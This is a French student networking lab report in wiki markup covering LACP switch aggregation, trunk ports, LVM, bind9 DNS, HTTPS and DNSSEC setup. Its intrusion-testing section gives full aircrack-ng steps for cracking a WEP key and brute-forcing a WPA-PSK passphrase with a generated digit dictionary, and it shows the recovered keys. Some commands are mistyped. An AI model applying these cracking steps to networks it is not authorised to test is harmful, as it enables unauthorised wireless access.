&amp;lt;h4&amp;gt;c) Test&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour voir si les ports sont bien connecté avec l'interface virtuelle ou pas il faut faire la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      sh int port-channel&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et j'ai eu un ecran comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   Port-channel1 is up, line protocol is up (connected)&lt;br /&gt;
      Hardware is EtherChannel, address is 4c4e.355e.b901 (bia 4c4e.355e.b901)&lt;br /&gt;
      MTU 1500 bytes, BW 8000000 Kbit, DLY 10 usec,&lt;br /&gt;
         reliability 255/255, txload 1/255, rxload 1/255&lt;br /&gt;
      Encapsulation ARPA, loopback not set&lt;br /&gt;
      Keepalive set (10 sec)&lt;br /&gt;
      Full-duplex, 1000Mb/s, link type is auto, media type is unknown&lt;br /&gt;
      input flow-control is off, output flow-control is unsupported &lt;br /&gt;
      Members in this channel: Gi0/1 Gi0/2 Gi0/3 Gi0/4 Gi0/5 Gi0/6 Gi0/7 Gi0/8 &lt;br /&gt;
      ARP type: ARPA, ARP Timeout 04:00:00&lt;br /&gt;
      Last input 00:00:00, output 00:13:18, output hang never&lt;br /&gt;
      Last clearing of &amp;quot;show interface&amp;quot; counters never&lt;br /&gt;
      Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0&lt;br /&gt;
      Queueing strategy: fifo&lt;br /&gt;
      Output queue: 0/40 (size/max)&lt;br /&gt;
      5 minute input rate 1000 bits/sec, 2 packets/sec&lt;br /&gt;
      5 minute output rate 0 bits/sec, 0 packets/sec&lt;br /&gt;
          1583 packets input, 166045 bytes, 0 no buffer&lt;br /&gt;
          Received 1082 broadcasts (1082 multicasts)&lt;br /&gt;
          0 runts, 0 giants, 0 throttles&lt;br /&gt;
          0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored&lt;br /&gt;
          0 watchdog, 1082 multicast, 0 pause input&lt;br /&gt;
          0 input packets with dribble condition detected&lt;br /&gt;
          1187 packets output, 148752 bytes, 0 underruns&lt;br /&gt;
          0 output errors, 0 collisions, 1 interface resets&lt;br /&gt;
          0 babbles, 0 late collision, 0 deferred&lt;br /&gt;
          0 lost carrier, 0 no carrier, 0 PAUSE output&lt;br /&gt;
          0 output buffer failures, 0 output buffers swapped out&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Par ces informations je peux bien savoir que mon interface virtuelle est en mode active et il y a que 8 ports qui sont pris en compte.&lt;br /&gt;
[[Fichier:light.JPG|thumb|center|600xp|Les lumières du commutateur]]&lt;br /&gt;
Même par les lumières du commutateur, 8 ports sont en vert et 2 ports sont en orange.&lt;br /&gt;
'''Pourquoi?'''Parce que LACP permet un maximum de 16 ports dont 8 actifs.(voir la référence)&lt;br /&gt;
Pour voir toutes les informations de port-channel 1 il y a une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh lacp 1 internal&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec cette commande je peux visualiser tous les ports qui marchent sur cette interface virtuelle.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Channel group 1&lt;br /&gt;
                            LACP port     Admin     Oper    Port        Port&lt;br /&gt;
Port      Flags   State     Priority      Key       Key     Number      State&lt;br /&gt;
Gi1/0/1   SA      bndl      32768         0x1       0x1     0x102       0x3D  &lt;br /&gt;
Gi1/0/2   SA      bndl      32768         0x1       0x1     0x103       0x3D  &lt;br /&gt;
Gi1/0/3   SA      bndl      32768         0x1       0x1     0x104       0x3D  &lt;br /&gt;
Gi1/0/4   SA      bndl      32768         0x1       0x1     0x105       0x3D  &lt;br /&gt;
Gi1/0/5   SA      bndl      32768         0x1       0x1     0x106       0x3D  &lt;br /&gt;
Gi1/0/6   SA      bndl      32768         0x1       0x1     0x107       0x3D  &lt;br /&gt;
Gi1/0/7   SA      bndl      32768         0x1       0x1     0x108       0x3D  &lt;br /&gt;
Gi1/0/8   SA      bndl      32768         0x1       0x1     0x109       0x3D  &lt;br /&gt;
Gi1/0/9   SA      hot-sby   32768         0x1       0x1     0x10A       0x5   &lt;br /&gt;
Gi1/0/10  SA      hot-sby   32768         0x1       0x1     0x10B       0x5   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie IV - Configurations des switchports en mode trunk &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette séance il faut configurer les switchports en mode trunk ensuite il faut installer les commutateurs dans l'armoire. &lt;br /&gt;
&amp;lt;h4&amp;gt;b) Configurations des switchports&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour configurer les switchports il faut utiliser les commandes en bas&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Switch#configure terminal&lt;br /&gt;
Switch(config)#interface XXX                                                &lt;br /&gt;
Switch(config-if)#switchport mode trunk                                         &lt;br /&gt;
Switch(config-if)#switchport trunk encapsulation dot1q                          &lt;br /&gt;
Switch(config-if)#exit   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans mon cas, les interfaces que j'ai configurées sont&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Te1/0/1 Te1/0/2 TenGigabitEthernet1/1 TenGigabitEthernet1/2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour voir si les switchports ont été bien configuré ou pas il faut taper &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sh run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur le console j'ai eu des informations comme suit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
interface TenGigabitEthernet1/0/1                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                                                                               &lt;br /&gt;
interface TenGigabitEthernet1/0/2                                               &lt;br /&gt;
 switchport trunk encapsulation dot1q                                           &lt;br /&gt;
 switchport mode trunk                                                          &lt;br /&gt;
!                   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Les ports sont bien configurés.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Installations des commutateurs&amp;lt;/h4&amp;gt;&lt;br /&gt;
Après la configurations des commutateurs il faut les installer dans la salle technique.&lt;br /&gt;
[[Fichier:com.JPG|thumb|center|600xp|L'installation des commutateur]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie V - Câblages et créations des LVM &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Pour que tous les paquets puissent passer par mes commutateurs, il faut mettre des câbles entre les commutateurs de la salle E304 et la salle E306 et mes commutateurs configurés en mode LACP. Ensuite il faut créer des LVM.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Câblages des commutateurs&amp;lt;/h4&amp;gt;  &lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:ca2.JPG|Cablage&lt;br /&gt;
Fichier:ca0.JPG|Cablage&lt;br /&gt;
Fichier:ca1.JPG|Cablage&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Créations des LVM&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour créer le LVM il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-var -v&lt;br /&gt;
lvcreate -L 10G -n /dev/virtual/ima5-Mulan-home -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut compléter le fichier Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/spool1/mail-spool,xvdb1,w',&lt;br /&gt;
'phy:/dev/spool2/mail-backup,xvdc1,w'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la réussite de la création de LVM, il faut utiliser la commande '''fdisk -l''' et j'ai sur le console j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Disk /dev/xvda2: 4 GiB, 4294967296 bytes, 8388608 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvda1: 128 MiB, 134217728 bytes, 262144 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdb1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disk /dev/xvdc1: 10 GiB, 10737418240 bytes, 20971520 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai choisit xvdb1 pour home et xvdc1 pour var.&lt;br /&gt;
Ensuite j'ai modifié le fichier /etc/fstab en rajoutant&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc1 /var  ext4 defaults 0 3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mkfs -t ext4 /dev/xvdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux commandes permettent de créer un ext4 fichier sur une partition d'un système.&lt;br /&gt;
Mais avant d'exécuter '''mount a''' pour var, il faut d'abord déplacer les fichiers existants dans un autre répertoire''' mnt'''.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/xdbc1 /mnt&lt;br /&gt;
cd /var&lt;br /&gt;
mv /mnt&lt;br /&gt;
unmont /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
The mount command mounts a storage device or filesystem, making it accessible and attaching it to an existing directory structure.&lt;br /&gt;
The umount command &amp;quot;unmounts&amp;quot; a mounted filesystem, informing the system to complete any pending read or write operations, and safely detaching it.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VI - Tests d'intrusion &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut tester les méthodes de sécurisation du WIFI&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Cassage de clef WEP d'un point d'accès Wifi&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail réalisé dans cette partie est sur un eeePC. Dans un premier temps, il faut installer le paquetage '''aircrack-ng''' sur eeePC avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install aircrack-ng&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour passer la carte WIFI en mode '''monitor''', il faut taper la commande &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airmon-ng start wlan3	       #&lt;br /&gt;
		#	check_cert_cn = %{User-Name}&lt;br /&gt;
		#&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
En même temps une interface mon0 est crée, cette interface est la même que le wlan3 sauf qu'elle est en mode '''monitor'''. Son rôle est d’écouter toutes les trames qui passent les interfaces.&lt;br /&gt;
Pour trouver les informations plus précisés de cette interface de monitor, avec l'aide de la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
BSSID                 PWR    Beacons    #Data,   #/s    CH     MB      ENC     CIPHER    AUTH      ESSID&lt;br /&gt;
00:12:D9:B7:E7:D0     -77          3        0      0    12     54e.    WPA2    CCMP      MGT       &amp;lt;length: 1&amp;gt;&lt;br /&gt;
C8:00:84:84:00:54     -79         15        0      0     9     54e.    WPA2    CCMP      MGT       PolytechLille&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour surveiller les réseaux WIFI, il faut lancer &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng -w manchot -c 13 --bssid 04:DA:D2:9C:50:54 mon0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-w permet de créer un fichier de capture dans lequel seront enregistrés tous les paquets.&lt;br /&gt;
-c permet de cibler l'écoute sur un canal wifi particulier. &lt;br /&gt;
--bssid permet de ne cibler qu'un seul point d'accès en fonction de son adresse mac. &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Quatre fichiers manchots sont crées&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
manchot-01.cap    manchot-01.csv    manchot-01.kismet.csv    manchot-01.kismet.netxml&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Finalement il faut lancer l'algorithme de craquage de la clef WEP&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng manchot-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur mon shell, j'obtiens&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:00] Tested 782 keys (got 276993 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 15   EE(374528) 78(301568) 0B(298752) 11(296960) 87(294656)&lt;br /&gt;
    1    0/  2   46(383488) A8(300544) 6D(297216) FF(295680) 25(295168)&lt;br /&gt;
    2    9/  2   C3(291840) 28(290304) 85(290048) F7(290048) 19(289792)&lt;br /&gt;
    3    6/  3   D4(294400) 30(294144) 94(294144) BD(294144) 14(293632)&lt;br /&gt;
    4    0/  1   1F(383488) 3F(296960) A8(296960) 83(296192) 1A(295936)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44 ]&lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cassage de mot de passe WPA-PSK par force brute&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie, il faut reprendre les étapes pour la cassage de clef WEP d'un point d'accès Wifi. Mais il faut créer un dictionnaire pour toutes les possibilités de la clef WPA qui est un nombre sur 8 chiffres. Le code pour la dictionnaire est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;time.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  for (i=0; i&amp;lt;1000000; i++)&lt;br /&gt;
  {&lt;br /&gt;
    printf(&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut lancer la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aircrack-ng -w dictionnaire record-01.cap&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 # BSSID                   ESSID                       Encryption&lt;br /&gt;
 1 04:DA:D2:9C:50:52       cracotte03                  WPA (1 handshake)&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening record-01.cap&lt;br /&gt;
Reading packets, please wait...&lt;br /&gt;
                               Aircrack-ng 1.2 beta3&lt;br /&gt;
          &lt;br /&gt;
                   [00:57:58] 12399908 keys tested (3650.27 k/s)&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399903 ]&lt;br /&gt;
     &lt;br /&gt;
         Master Key    : 33 2B 69 DD 95 0A 5A E0 01 22 7E FF 98 DA 99 87&lt;br /&gt;
                         40 7A CB CC 8A E5 32 9F FE 4E 5C 44 91 38 13 93&lt;br /&gt;
   &lt;br /&gt;
         Transient Key : 86 B4 17 90 2B BE 9E CA 9A 5E 59 D7 F4 D9 94 A7&lt;br /&gt;
                         AE 0D 63 1C 83 3B 48 C4 FF 01 C4 85 4B 32 7F C0&lt;br /&gt;
                         9A CE DC 63 D6 3A 72 16 1E BE E4 CE 5D 1C B1 3D&lt;br /&gt;
                         1F 91 A1 F5 F4 1A 50 17 B9 55 0F 9F D4 3B 94 BD&lt;br /&gt;
&lt;br /&gt;
         EAPOL HMAC    : B3 F0 FA 27 2F E6 2E A4 73 F9 55 14 C7 4A 72 E0 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VII - Services Internet &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette partie il faut réaliser un site Web sécurisé&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Serveur DNS&amp;lt;/h4&amp;gt;&lt;br /&gt;
Sur le registrar Gandi, j'ai réservé un nom DNS '''mulan.website''' sur Gandi. Ensuite il faut installer '''bind9''' sur le serveur virtuel xen  pour donner les adresses correspondant à mon nom de réseau IP, au nom de mon interface de routeur, au nom de ma machine et au nom de l'adresse de diffusion de mon réseau IP.&lt;br /&gt;
Dans mon répertoire''' /etc/bind''' j'ai rajouté un fichier de description de zone'''db.mulan.website''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
; TTL (Time To Live)&lt;br /&gt;
$TTL	604800&lt;br /&gt;
&lt;br /&gt;
; Informations générales&lt;br /&gt;
@	IN	SOA	ns.mulnan.website. root.mulan.website. (&lt;br /&gt;
			12		; Serial&lt;br /&gt;
			604800		; Refresh&lt;br /&gt;
			86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			604800  )	; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns6.gandi.net.&lt;br /&gt;
	IN	NS	ns.mulan.website.&lt;br /&gt;
        IN      NS      100 ns.mulan.website.&lt;br /&gt;
&lt;br /&gt;
ns	IN	A	193.48.57.164&lt;br /&gt;
www	IN	A	193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Les dernières 4 lignes sont les détails du domaine,de ses sous-domaines,etc.C'est là qu'on fait notamment l'association entre l'IP et le nom de domaine.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''named.conf.local''' il faut rajouter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Attention'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
L'adresse dans allow-transfer doit être l'adresse du serveur esclave.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour tester si cela marche ou pas il faut taper les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--service bind9 restart&lt;br /&gt;
--cat /var/log/daemon.log&lt;br /&gt;
--host ns.mulan.website 127.0.0.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Using domain server:&lt;br /&gt;
Name: 127.0.0.1&lt;br /&gt;
Address: 127.0.0.1#53&lt;br /&gt;
Aliases: &lt;br /&gt;
&lt;br /&gt;
ns.mulan.website has address 193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Je peux conclure que nom DNS correspond bien à mon adresse IP '''193.48.57.164'''&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Sécurisation de site web par certificat &amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail a été réalisé sur '''Mulan''', il faut générer un '''CSR''' afin d'activer la '''SSL Certification'''. Pour réussir cela, il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout mulan1.key -out mulan1.csr&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après la création des clefs et le CSR, j'ai obtenu mon certificat SSL sur Gandi. Ensuite j'ai configuré apache2 pour gérer du HTTPS sur le port 443. Pour réussir cela, j'ai crée un fichier mulan.conf.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;   &lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile &amp;quot;/etc/apache2/mulan.crt&amp;quot;&lt;br /&gt;
  SSLCertificateKeyFile &amp;quot;/etc/apache2/mulan.key&amp;quot;&lt;br /&gt;
  SSLCertificateChainFile &amp;quot;/etc/apache2/gandi.crt&amp;quot;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai créé une page index.html dans /var/www/mulan&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.0//EN&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
 &amp;lt;HEAD&amp;gt;    &lt;br /&gt;
  &amp;lt;TITLE&amp;gt;Mulan&amp;lt;/TITLE&amp;gt;&lt;br /&gt;
 &amp;lt;/HEAD&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt;BODY&amp;gt;   &lt;br /&gt;
   &lt;br /&gt;
   L'une des plus belles filles du monde!&lt;br /&gt;
   &amp;lt;p style=&amp;quot;text-align:center;&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;mulan.jpg&amp;quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
     &amp;lt;/BODY&amp;gt;&lt;br /&gt;
&amp;lt;/HTML&amp;gt;   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc le https://www.mulan.website donne&lt;br /&gt;
[[Fichier:mulan.png|thumb|center|600xp|Page principale]]&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation de serveur DNS par DNSSEC&amp;lt;/h4&amp;gt;&lt;br /&gt;
L'objectif de cette partie est de sécuriser mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Pour réussir cela, il faut certaines étapes.&lt;br /&gt;
1.Dans /etc/bind/named.conf.options,j'ai ajouté&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-enable yes;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2.Ensuite j'ai crée un répertoire mulan.website.dnssec pour gérer tous les clefs dans /etc/bind&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir mulan.website.dnssec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3.J'ai crée la clef asymétrique de signature de clefs de zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
4.Pour créer la clef asymétrique de la zone pour signer les enregistrement, il faut&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
5.J'ai renommé les clefs dans mon répertoire mulan.website.dnssec&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/etc/bind/mulan.website.dnssec# ls -l&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root bind  171 Dec  7 18:56 dsset-mulan.website.&lt;br /&gt;
-rw-r--r-- 1 root bind  609 Dec  7 18:54 mulan.website-ksk.key&lt;br /&gt;
-rw------- 1 root bind 1774 Dec  7 18:54 mulan.website-ksk.private&lt;br /&gt;
-rw-r--r-- 1 root bind  435 Dec  7 18:55 mulan.website-zsk.key&lt;br /&gt;
-rw------- 1 root bind 1010 Dec  7 18:55 mulan.website-zsk.private&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
6.Dans mon fichier /etc/bind/db.mulan.website, il faut inclure les clefs publiques et incrémenter le numéro de version de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-ksk.key&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-zsk.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
7.Après il faut signer les enregistrements de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-signzone -o mulan.website -k mulan.website-ksk ../db.mulan.website mulan.website-zsk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
8.Ensuite il faut modifier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;217.70.177.40;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website.signed&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
9.La dernière étape est de rajouter la clé ksk dans gandi.net&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:gandi1.png|sécurisation par gandi&lt;br /&gt;
Fichier:gandi2.png|sécurisation par gandi&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
Pour être sur que mon DNS est bien sécurisé, j'ai visualisé sur DNSVIZ&lt;br /&gt;
[[Fichier:dnsviz.png|thumb|center|600xp|Visualisation de la sécurisation de DNS]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VIII - Réalisations  &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut sécuriser un réseau Wifi, faire transiter des flux vidéos via UPnP et installer un auto-commutateur téléphonique logiciel.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Sécurisation de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
J'ai commencé par créer trois partitions LVM de 1Go&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid1 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid2 -v&lt;br /&gt;
